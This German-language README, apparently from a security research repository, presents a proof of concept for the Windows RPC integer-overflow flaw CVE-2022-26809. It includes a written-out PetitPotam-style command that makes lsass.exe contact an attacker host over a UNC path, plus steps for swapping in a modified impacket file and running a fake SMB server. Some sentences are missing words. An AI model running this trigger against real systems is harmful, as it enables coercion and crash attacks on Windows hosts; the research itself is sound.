
PoC und Analyse für CVE-2022-26809, eine Integer-Overflow-Schwachstelle in der Windows-RPC-Laufzeitumgebung. Enthält Trigger-Skripte, die einen PetitPotam-artigen UNC-Pfad-Relay nutzen, um lsass.exe über ESFRPC-Anfragen auszunutzen.
Dieses Repo ist einfach nur eine Recherche zur CVE; für eine detailliertere Analyse siehe hier.
UPDATE:05/19 2022
Diese Analyse ist noch nicht abgeschlossen ....
UPDATE:05/22 2022
Der HuanGMz-Beitrag und der corelight-Blog zeigen den eigentlichen verwundbaren Punkt:
OSF_CASSOCIATION::ProcessBindAckOrNak

Diese Schwachstelle wird ähnlich wie CVE-2021-43893 ausgelöst: Wenn die ESFRPC-Anfrage mit UNC-Pfad an lsass.exe gesendet wird, versucht das Opfer, das Ziel als Client zu erreichen, wodurch ein Integer-Überlauf in der Client-API ausgelöst wird.
Wenn du eine bessere Lösung hast, um diese Schwachstelle auszulösen, kannst du gerne ein Issue oder einen PR einreichen :)
Da die Schwachstelle wie CVE-2021-43893 ausgelöst wird, klone einfach den -Code.
Bereite die Umgebung einfach genau wie hier vor:

fake_smb_server.py auf dem Angreifer-Server aus, nachdem du die rpcrt.py durch die Originaldatei ersetzt hast(**Da der Port 445 auf Windows vom System belegt ist, wird empfohlen, den Dienst unter Linux bereitzustellen **python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe(Ich habe allerdings keinen BSoD auslösen können, aber laut windbg wurde der Integer-Überlauf ausgelöst)Alte Beschreibung
Hier ist der Reproduktionscode für die Windows-RPC-Schwachstelle CVE-2022-26809, und er verweist auf https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello.
Meine Python-Version ist 3.6.7
Ich bin mir nicht sicher, ob GetCoalescedBuffer die echte CVE-2022-26809 betrifft, ich lasse es einfach hier.
Die poc.py versucht nur, die verwundbare FunktionOSF_SCALL::GetCoalescedBuffer auszulösen; sie würde keinen Absturz verursachen, weil ein dword-Integer-Überlauf zu schwer zu reproduzieren ist. Und die rpcrt.py ist das Python-Paket impacket.dcerpc.v5.rpcrt; ersetze sie einfach durch die Originaldatei, um die Schwachstelle auszulösen (Denk daran, die Originaldatei zu sichern :) Ich glaube, die rpcrt.py hat eine Menge Bugs).
Wenn es nicht funktioniert, kann vielleicht wireshark helfen, den Bug zu finden.
Falls nötig, verwende einfach nmake, um es neu zu bauen.